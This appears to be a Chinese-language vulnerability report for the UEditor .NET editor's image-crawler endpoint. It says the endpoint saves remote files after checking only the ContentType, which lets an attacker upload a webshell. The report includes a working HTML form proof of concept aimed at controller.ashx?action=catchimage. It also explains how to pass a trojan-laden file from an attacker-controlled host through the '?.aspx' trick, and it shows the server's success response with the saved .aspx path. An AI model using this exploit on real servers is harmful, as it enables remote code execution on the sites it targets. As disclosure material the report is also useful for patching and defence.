发布时间£º2018-08-03
公开时间£º2018-08-21
漏洞类型£º逻辑漏洞
危害等级£º高
漏洞编号£ºxianzhi-2018-08-16052905(不收取 驳回)
测试版本£ºgithub最新版
漏洞详情
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs
Crawler方法对source[]的检查仅仅是一个ContentType
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
并没有检查文件扩展名就直接保存到本地 导致getshell
POC:
<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
shell addr 可以用http://www.xxx.com/xxx.jpg?.aspx的方式使用包含木马的图片£¨为了使服务器返回的ContentType是image/xxx£©
也可以用http://www.xxxx.com/xxx.php?.aspx然后在xxx.php中自己设置ContentType
返回如下
{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}